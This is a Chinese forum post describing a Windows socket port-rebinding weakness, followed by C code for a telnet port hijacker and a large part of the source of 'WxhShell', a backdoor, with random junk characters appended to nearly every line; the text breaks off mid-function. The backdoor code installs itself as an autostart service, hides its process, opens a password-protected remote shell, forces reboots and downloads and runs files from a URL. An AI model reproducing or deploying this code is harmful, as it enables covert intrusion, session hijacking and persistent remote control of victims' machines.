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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XI"IEwB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G$2Pny<!  
,_ @) IN  
  saddr.sin_family = AF_INET; <DhuY/o  
kb!W|l"PN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g`4WisL1n  
n<ecVFft  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (O/W`qo  
G`f|#-}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $?On,U  
_)6r@fZ.p  
  这意味着什么?意味着可以进行如下的攻击: 9H2mA$2jnE  
+ZkJ{r0,(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -c#vWuLl  
^G "Qp8 "  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CKX3t:HP0  
Gz2\&rmN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rd,!-w5  
a..LbQQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gp+@+i>b+[  
rr2^sQ;_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q1!+wC   
Nj +^;Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TRr%]qd{Hr  
[_*?~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )Jh:~9L%='  
IV%Rph>d  
  #include !E^\)=E)P  
  #include 6 kD.  
  #include [buLo*C4:  
  #include    O 2/_$i[F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -X-sykDm  
  int main() mNJCV8 <  
  { z~/e\  
  WORD wVersionRequested; .>2]m[53  
  DWORD ret;  xF*i+'2  
  WSADATA wsaData; xrkR)~ E  
  BOOL val; +5GPU 9k  
  SOCKADDR_IN saddr; \T?6TDZ]  
  SOCKADDR_IN scaddr; l!:L<B  
  int err; H>%L@Btw  
  SOCKET s; .&n! 4F'  
  SOCKET sc; hJ75(I *j  
  int caddsize; 5+t$4N+P  
  HANDLE mt; ,M$h3B\;r  
  DWORD tid;   zX6Q7Bc  
  wVersionRequested = MAKEWORD( 2, 2 ); <&tdyAT?&  
  err = WSAStartup( wVersionRequested, &wsaData ); V/RV,K1/  
  if ( err != 0 ) { *DQa6,b  
  printf("error!WSAStartup failed!\n"); o* e'D7  
  return -1; Lzx2An@R  
  } 77'@U(  
  saddr.sin_family = AF_INET; 4h T!DS  
   |Z8Eu0RSb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (IIZvCek  
&g]s@S|%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HE0m#  
  saddr.sin_port = htons(23); I/u>Gt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B?4Iu)bCxI  
  { 5>hXqNjP2  
  printf("error!socket failed!\n"); @QE&D+NS  
  return -1; VFKFO9  
  } vi` VK&+r  
  val = TRUE; J|([(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \5j#ad  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a'O-0]g,  
  { !t?5U_on  
  printf("error!setsockopt failed!\n"); Lz!H@)-mr  
  return -1; 0D0uzUD-  
  } un}!&*+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w%(D4ldp   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P1 |3%#c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f/"IC;<~t>  
FytGg[#]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2 ]n4)vv,  
  { +`!>lo{X  
  ret=GetLastError(); j|{ n?  
  printf("error!bind failed!\n"); Q x&7Ceu"  
  return -1; mZ.gS1Dq  
  } =h.` ey  
  listen(s,2); iDdR-T|  
  while(1) U|aEyMU  
  { kIRjoKf<F  
  caddsize = sizeof(scaddr); f`8?]@y{  
  //接受连接请求 B;nIKZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B7sBO6Z$J  
  if(sc!=INVALID_SOCKET) -fN5-AC  
  { 40[@d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0a1Mu>P,  
  if(mt==NULL) 0v``4z2Z  
  { P G zwS  
  printf("Thread Creat Failed!\n"); I:1Pz|$`  
  break; xpI8QV$#  
  } qHPinxewx  
  } n6 wx/:  
  CloseHandle(mt); y( UWh4?t  
  } E:[!)UG|y  
  closesocket(s); 4\j1+&W   
  WSACleanup(); %v UUx+  
  return 0; w }8=sw  
  }   U*XdFH}vV  
  DWORD WINAPI ClientThread(LPVOID lpParam) cfy9wD  
  { IR32O,)  
  SOCKET ss = (SOCKET)lpParam; Swgvj(y;!A  
  SOCKET sc; V7vojm4 O  
  unsigned char buf[4096]; ] #7baZ  
  SOCKADDR_IN saddr; w:](F^<s,  
  long num; v~0lZe  
  DWORD val; =w<iYO  
  DWORD ret; ,V''?@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E!`/XB/nA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -V P_Aw$  
  saddr.sin_family = AF_INET; %VE FruM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <3Rq!w/  
  saddr.sin_port = htons(23); Z{2QDjAI;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2}_^~8  
  { G0Z$p6z  
  printf("error!socket failed!\n"); -CALU X  
  return -1; iZ0(a   
  } 2o 7o~r  
  val = 100; :u2tu60&MJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [a.(0YLr'w  
  { YVk +zt~S  
  ret = GetLastError(); sosIu  
  return -1; .!'rI7Kz'i  
  } Kr`.q:0GK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3%u: c]-wF  
  { VeH%E.:  
  ret = GetLastError(); .5tXwxad"  
  return -1; '=d y =  
  } P<9T.l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )=5*iWe  
  { `:2np{  
  printf("error!socket connect failed!\n"); 9h<iw\ $'  
  closesocket(sc); (1'sBm7F  
  closesocket(ss); w)h"?'m~  
  return -1; [P]M)vJ**  
  } 6!){-IV  
  while(1) s}DNu<"g  
  { BJqb'H jd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \P*%u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7e{w,.ny!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <4^y7]] F  
  num = recv(ss,buf,4096,0); =wa5\p/  
  if(num>0) e)i-$0L"  
  send(sc,buf,num,0); K%SfTA1TCB  
  else if(num==0) D:(h^R0;  
  break; "T}HH  
  num = recv(sc,buf,4096,0); M[e{(iQ:  
  if(num>0) GF0Utp:Zf;  
  send(ss,buf,num,0); !m9g\8tE  
  else if(num==0) ul"Z% 1]  
  break; vmW`}FKW  
  } 4Cvo^k/I  
  closesocket(ss); "eI">`!g  
  closesocket(sc); l_fERp#y  
  return 0 ; f&X M|Bg  
  } 0b2;  
eqpnh^0}d  
iT1HbAT]  
========================================================== w h^I|D?"  
UQtG<W]<  
下边附上一个代码,,WXhSHELL d"+ _`d=`  
vY,]f^F"  
========================================================== Tn$| Xa+:s  
:5:_Dr<  
#include "stdafx.h" w aDJ  
6|1#Prj  
#include <stdio.h> ^{g+HFTA@  
#include <string.h> Bv`3T Af2  
#include <windows.h> aQ)g7C  
#include <winsock2.h> uJ,I6P~9  
#include <winsvc.h> dW#l3_'3T  
#include <urlmon.h> 1$"wN z  
92*Y( >  
#pragma comment (lib, "Ws2_32.lib") MO79FNH2\  
#pragma comment (lib, "urlmon.lib") %5 <t3 H"  
2f 9%HX(5  
#define MAX_USER   100 // 最大客户端连接数 &oDu$%dkT  
#define BUF_SOCK   200 // sock buffer %'dsb7n  
#define KEY_BUFF   255 // 输入 buffer  TJb&f<  
4_\]zhS  
#define REBOOT     0   // 重启 vpk~,D07yR  
#define SHUTDOWN   1   // 关机 E+eC #!&w  
_?>f9K$1  
#define DEF_PORT   5000 // 监听端口 J-Fqw-<aFJ  
M]e _@:!  
#define REG_LEN     16   // 注册表键长度 +L#):xr  
#define SVC_LEN     80   // NT服务名长度 y;HJ"5.Mw  
6EG`0h6  
// 从dll定义API `ln= D$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .eDI ZX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Umk!m] q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jyjK~ !0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q__1QUu  
i)d'l<RA  
// wxhshell配置信息 hC2Ra "te)  
struct WSCFG { =+wkjTO  
  int ws_port;         // 监听端口 p5=VGKp  
  char ws_passstr[REG_LEN]; // 口令 eadY(-4|I-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5W?r04  
  char ws_regname[REG_LEN]; // 注册表键名 @nF#\  
  char ws_svcname[REG_LEN]; // 服务名 _ "[O=h:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fkr; a`<W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <1E* wPm8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f.u[!T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zMN4cBL9m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ekuRGG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Uu!:SZ  
<}Rr C#uiA  
}; Q,xKi|$r  
@Tf5YZ*  
// default Wxhshell configuration w1|YR  
struct WSCFG wscfg={DEF_PORT, KP!ctlP~  
    "xuhuanlingzhe", _6Fj&mw(u  
    1, .;9I:YB$  
    "Wxhshell", 1)wzSEV@  
    "Wxhshell", \~ h7  
            "WxhShell Service", _}wy|T&7k&  
    "Wrsky Windows CmdShell Service", o@G <[X|ke  
    "Please Input Your Password: ", _&6&sp<n  
  1, X2p9KC  
  "http://www.wrsky.com/wxhshell.exe", K3^N_^H  
  "Wxhshell.exe" kculHIa\.  
    }; t5pf4M7  
kVe_2oQ_>  
// 消息定义模块 4]]1J L(Ka  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~*h` ?A0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h+h`0(z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p,+$7f1S  
char *msg_ws_ext="\n\rExit."; w">p 8  
char *msg_ws_end="\n\rQuit."; QA&BNG  
char *msg_ws_boot="\n\rReboot..."; 8z, |N#  
char *msg_ws_poff="\n\rShutdown..."; ?yt"  
char *msg_ws_down="\n\rSave to "; @[4Tdf  
)fz<n$3|$#  
char *msg_ws_err="\n\rErr!"; CzZm C]5  
char *msg_ws_ok="\n\rOK!"; 38T2IN  
9*}?0J8  
char ExeFile[MAX_PATH]; }x1*4+Y1  
int nUser = 0; Ym*Ed[S  
HANDLE handles[MAX_USER]; '\X<+Sm'  
int OsIsNt; ,kKMUshBi  
<<P& MObqj  
SERVICE_STATUS       serviceStatus; Pz1[ b$%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0UvN ws  
(s`yMUC+  
// 函数声明 \f_YJit  
int Install(void); 6uf+,F  
int Uninstall(void); |PED8K:rU  
int DownloadFile(char *sURL, SOCKET wsh); Ue <Y ~A  
int Boot(int flag); ~h{v^ }  
void HideProc(void); 3N,!y  
int GetOsVer(void); uiIY,FL$  
int Wxhshell(SOCKET wsl); ApYri|^r  
void TalkWithClient(void *cs); q E`  
int CmdShell(SOCKET sock); lT3, G#(  
int StartFromService(void); xA9{o+  
int StartWxhshell(LPSTR lpCmdLine); fN TPW]  
#Xc6bA&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3%<xM/#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J34lu{'if  
+SSF=]4+  
// 数据结构和表定义 }pa@qZXh  
SERVICE_TABLE_ENTRY DispatchTable[] = t F<|Eja *  
{ q|. X[~e|  
{wscfg.ws_svcname, NTServiceMain}, FU|c[u|z  
{NULL, NULL} %K_[Bx{B  
}; 6* /o  
H`$s63  
// 自我安装 Ii,Lj1Q  
int Install(void) C{ {DZ*  
{ r~uWr'}a}  
  char svExeFile[MAX_PATH]; f`?Y+nu}  
  HKEY key; $!<J_ d*  
  strcpy(svExeFile,ExeFile); <=*xwI&q  
^t=Hl  
// 如果是win9x系统,修改注册表设为自启动 x62 b=k}  
if(!OsIsNt) { V11Zl{uOl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zM^ux!T=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4w:_4qyb  
  RegCloseKey(key); UJ_E&7,L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \KmjA )(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eGS1% [  
  RegCloseKey(key); MH`H[2<\!,  
  return 0; 0SXWt? }  
    } hgCeU+H  
  } 0.-2FHc9L  
} (DCC4%w"  
else { ?3"bu$@8  
\5$N> 2kO  
// 如果是NT以上系统,安装为系统服务 Oc;0*v[I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `7P4O   
if (schSCManager!=0) -< jb>8  
{ ~\c]!%)o  
  SC_HANDLE schService = CreateService qTnfiYG}  
  ( X 5LI  
  schSCManager, (yduU  
  wscfg.ws_svcname, uuzDu]Gwu  
  wscfg.ws_svcdisp, \Clz#k8l1  
  SERVICE_ALL_ACCESS, 0sq1SHI{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8W 9%NW3&  
  SERVICE_AUTO_START, `5;O|qRq  
  SERVICE_ERROR_NORMAL, 'g8~539{&  
  svExeFile, nKJJ7'$'3  
  NULL, +pJ;}+  
  NULL, R/M:~h~F!  
  NULL, W xyQA:3s  
  NULL,  yf!  
  NULL <`sVu  
  ); ul+ +h4N  
  if (schService!=0) wxARD3%  
  { $WvI%r  
  CloseServiceHandle(schService); IBY3QG  
  CloseServiceHandle(schSCManager); !JjB,1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >b#z o,  
  strcat(svExeFile,wscfg.ws_svcname); ~a8J"Wh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KL!k'4JNY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xi_>hL+R(  
  RegCloseKey(key); 4^VY  
  return 0; lDNB0Ad  
    } BclZsU=xn  
  } n *%<!\gJ  
  CloseServiceHandle(schSCManager);  &(\z  
} 3=1aMQ  
} 6#O n .Q  
LbtcZ)D!  
return 1; Dg/&m*Yl  
} LWc}j`Wd  
_r5Q%8J  
// 自我卸载 59 O;`y0  
int Uninstall(void) WEUr;f  
{ |Sy |E  
  HKEY key; g>x2[//pk  
k/O|ia 6  
if(!OsIsNt) { ts3%cRN r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +/7UM x1  
  RegDeleteValue(key,wscfg.ws_regname); Eu\&}n`i  
  RegCloseKey(key); 'Zf_/ y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e|+U7=CK  
  RegDeleteValue(key,wscfg.ws_regname); ;Aiuy{<  
  RegCloseKey(key); |x 2>F  
  return 0; 0]{h,W3]@[  
  } @"-<m|lM  
} a_m P$4T  
} F'W{\4  
else { oL#^=vid"  
~;,]/'O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ot(U_rJCi  
if (schSCManager!=0) Z:09 ]r1  
{ m>$+sMZE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,2DKphh  
  if (schService!=0) Ttb @98  
  { |]HU$Gt S  
  if(DeleteService(schService)!=0) { \y{Bnp5h  
  CloseServiceHandle(schService); RS#)uC5/%  
  CloseServiceHandle(schSCManager); FD*`$.e3\  
  return 0; f GE+DjeA  
  } {bl&r?[y  
  CloseServiceHandle(schService); xaX3<V@S  
  } iDlIx8PI  
  CloseServiceHandle(schSCManager); ]nhLv!Co  
} Axhe9!Fm  
} ~K 8eRT  
kWc%u-_  
return 1; aAF:nyV~~0  
} <w(UDZ  
wy <m&M<Gr  
// 从指定url下载文件 m'XzZmI  
int DownloadFile(char *sURL, SOCKET wsh) Hu|NS{Ke-  
{ R{\vOw:*  
  HRESULT hr; C;}~C:aJ  
char seps[]= "/"; n>)CCf@H  
char *token; {N[IjY  
char *file; 9kuL1tcY  
char myURL[MAX_PATH]; XL>Vwd  
char myFILE[MAX_PATH]; r5Jy( ~  
4~hd{8  
strcpy(myURL,sURL); D)8&v` L S  
  token=strtok(myURL,seps); a9mLPP  
  while(token!=NULL) I1BVqIt1i  
  { *L%HH@] %_  
    file=token; F(^vD_G  
  token=strtok(NULL,seps); oqB(l[%z2  
  } o"R[#E&Yx  
$`.7XD}  
GetCurrentDirectory(MAX_PATH,myFILE); DbP!wU lqR  
strcat(myFILE, "\\"); mEv<r6qDT  
strcat(myFILE, file); VmHok  
  send(wsh,myFILE,strlen(myFILE),0); m ,,-rC  
send(wsh,"...",3,0); |3/=dG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z 3fS+x:E{  
  if(hr==S_OK) .slA }  
return 0; z*>"I  
else SN(:\|f 2  
return 1; kq8:h  
$IA(QC_]AO  
} 1T!b# x4  
2HoTj|  
// 系统电源模块 tm@&f  
int Boot(int flag) L TZ3r/  
{ M9HM:  
  HANDLE hToken; b %L8mX  
  TOKEN_PRIVILEGES tkp; TDs=VTd@Z  
3ox%1x NA  
  if(OsIsNt) { oS0l Tf\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ii%^z?'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T=(/n=  
    tkp.PrivilegeCount = 1; 0=#:x()e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cKdn3 2Y4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X#'DS&{  
if(flag==REBOOT) { L/_h5Q:'W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F$ShhZgi  
  return 0; V$VqYy9 *  
} ?>cx; "xF  
else { LdwWB `L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I?uU }NK  
  return 0; %%)"W n#`  
} >0DQ<@ot:  
  } zUXQl{  
  else { I'HPy.PV  
if(flag==REBOOT) { Zy|B~.@<j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D+P(  
  return 0; u n\!K  
} %i{Z@  
else { fz\C$[+u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,Md8A`7x~  
  return 0; Bha#=>4FU  
} .T 6 NMIp*  
} r@ujE,D=k  
xHq"1Vs=  
return 1; U(P^-J<n1  
} FkY}6  
X]8(_[Y  
// win9x进程隐藏模块 Q^prHn*@  
void HideProc(void) aUa.!,_dh  
{ XLb lVi@  
`ltc)$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v/*}M&vo  
  if ( hKernel != NULL ) CuC1s>  
  { ]6L;   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e+6mbJ7y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @&?E3?5ll  
    FreeLibrary(hKernel); rV84?75( Y  
  } O42`Z9oK  
WD# 96V  
return; 1/+d@s#t  
}  9uR+  
hb#Nm6  
// 获取操作系统版本 LvtHWt  
int GetOsVer(void) U{i xok  
{ IR;l{q&`  
  OSVERSIONINFO winfo; E! d?@Xr@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q\s"B.(G"  
  GetVersionEx(&winfo); 2 j.6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :No`+X[Kq  
  return 1; 01=nS?  
  else x1]J  
  return 0; H3-(.l[!b)  
} ]l4\Tdz  
Em)U`"j/9  
// 客户端句柄模块 \4Uhc3  
int Wxhshell(SOCKET wsl) |j$r@  
{ cq]JD6937  
  SOCKET wsh; & "i4og<  
  struct sockaddr_in client; F t/yPv  
  DWORD myID; XSk*w'xO  
2[|52+zhc  
  while(nUser<MAX_USER) =mR~\R( I  
{ z]_2lx2e  
  int nSize=sizeof(client); 5~D(jHY;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VyX5MVh  
  if(wsh==INVALID_SOCKET) return 1; !LI6_Oq  
YP E1s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OQW%nF9~  
if(handles[nUser]==0) pwvzs`[;  
  closesocket(wsh); @k=UB&?I  
else Hjhgu=  
  nUser++; &~mJ ).*  
  } 6/Iq@BZ&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0N;~(Vt2  
Z(j"\d!y  
  return 0; ) >;7"v  
}  I~T   
IiU\}<O  
// 关闭 socket EfX\"y  
void CloseIt(SOCKET wsh) e!W U  
{ "C0?s7Y  
closesocket(wsh); wZ4w`|'  
nUser--; R [ZY;g:p  
ExitThread(0); rn^cajO^  
} )]}G8A  
D:] QBA)C  
// 客户端请求句柄 FKZ'6KM&A  
void TalkWithClient(void *cs) yPrF2@#XZ/  
{ Sq&r ;  
?f}?I`S,  
  SOCKET wsh=(SOCKET)cs; 1aI&jdJk  
  char pwd[SVC_LEN]; r[?GO"ej5  
  char cmd[KEY_BUFF]; $RH.  
char chr[1]; R + ~b@  
int i,j; = N&5]Z  
SzP`(}AU  
  while (nUser < MAX_USER) { rp9?p%  
.n n&K}h  
if(wscfg.ws_passstr) { 8)lrQvZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )J*M{Gm6i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '-U&S  
  //ZeroMemory(pwd,KEY_BUFF); 7s0\`eXo/  
      i=0; 8`<e\g7-  
  while(i<SVC_LEN) { NnH]c+  
80zpRU"  
  // 设置超时 \q($8<  
  fd_set FdRead; ]A ;.}1'  
  struct timeval TimeOut; 7fI2b,~  
  FD_ZERO(&FdRead); cJMi`PQ;  
  FD_SET(wsh,&FdRead); +4$][3.  
  TimeOut.tv_sec=8; ^Q6?T(%$  
  TimeOut.tv_usec=0; t"zi'9$t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +Xp1=2Mq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G6QD`ED  
z&cM8w:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SRtw  
  pwd=chr[0]; (dfC}x(3h  
  if(chr[0]==0xd || chr[0]==0xa) { ua"2nVxK_K  
  pwd=0; ;4U"y8PVTh  
  break; d~AL4~}  
  } hq&|   
  i++; jST4O"DjM  
    } 35Fxzj $  
42~.N =2  
  // 如果是非法用户,关闭 socket 55 '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y)@Y$_  
} EK= y!>  
C1'y6{,@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {,i-V57-h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$1NI#&  
m.p $f$A_  
while(1) { C6EGM/m8  
C{,^4Eh3r  
  ZeroMemory(cmd,KEY_BUFF); 9dw* ++  
KF6C=,Yc%  
      // 自动支持客户端 telnet标准   ~o#mX?'7  
  j=0; NT0n [o^  
  while(j<KEY_BUFF) { ]J[d8S5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n$N$OFuO  
  cmd[j]=chr[0]; {nXygg J  
  if(chr[0]==0xa || chr[0]==0xd) { Cdy,8*   
  cmd[j]=0; >+Ig<}p  
  break; U(0FL6sPC  
  } d#TA20`  
  j++; K-~gIlbQ`  
    } JO*/UC>"  
BPa,P_6(  
  // 下载文件 Fsm6gE`|n  
  if(strstr(cmd,"http://")) { p U9 .#O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5RvE ),  
  if(DownloadFile(cmd,wsh)) P3`$4p?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0PqI^|!  
  else s;YbZ*oaMe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YGC%j  
  } 0 zK{)HZ  
  else { q8&l%-d`  
%59uR}\  
    switch(cmd[0]) { Rw%% 9  
  4uzMO<  
  // 帮助 {aNpk,n  
  case '?': { R|}N"J_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1cv~_jFh  
    break; F$(ak;v}  
  } +}N'Xa/Jt  
  // 安装 t/Y0e#9,  
  case 'i': { Bcarx<P-p  
    if(Install()) 4xEw2F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mE`qA*=?  
    else SOq:!Qt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b~}$Ch3ymW  
    break; t))MZw&@  
    } ;:j1FOj  
  // 卸载 HO['o{>BL  
  case 'r': { hO&b\#@~  
    if(Uninstall()) CxeW5qc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ZD6pF  
    else =$Mf:F@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uf9 0  
    break; GkX Se)#p  
    } ('SId@  
  // 显示 wxhshell 所在路径 ) jH`lY)1  
  case 'p': { | bz%SB  
    char svExeFile[MAX_PATH]; BaW4 s4u  
    strcpy(svExeFile,"\n\r"); uZtN,Un  
      strcat(svExeFile,ExeFile); +:uz=~m o`  
        send(wsh,svExeFile,strlen(svExeFile),0); 'Zp{  
    break; i ? ~-%  
    } n'v\2(&uYN  
  // 重启 /$CTz xd1  
  case 'b': { ?/"|tuQMW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cd1G.10  
    if(Boot(REBOOT)) R8k4?_W?T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R__:~ uv,  
    else { } 1e4u{  
    closesocket(wsh); sde>LZet/  
    ExitThread(0); }VZExqm)  
    } ]vlBYAW'  
    break; R`cP%7K  
    } o(oOB  
  // 关机 a3<:F2=~\  
  case 'd': { @2/|rq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1f}(=Hv{  
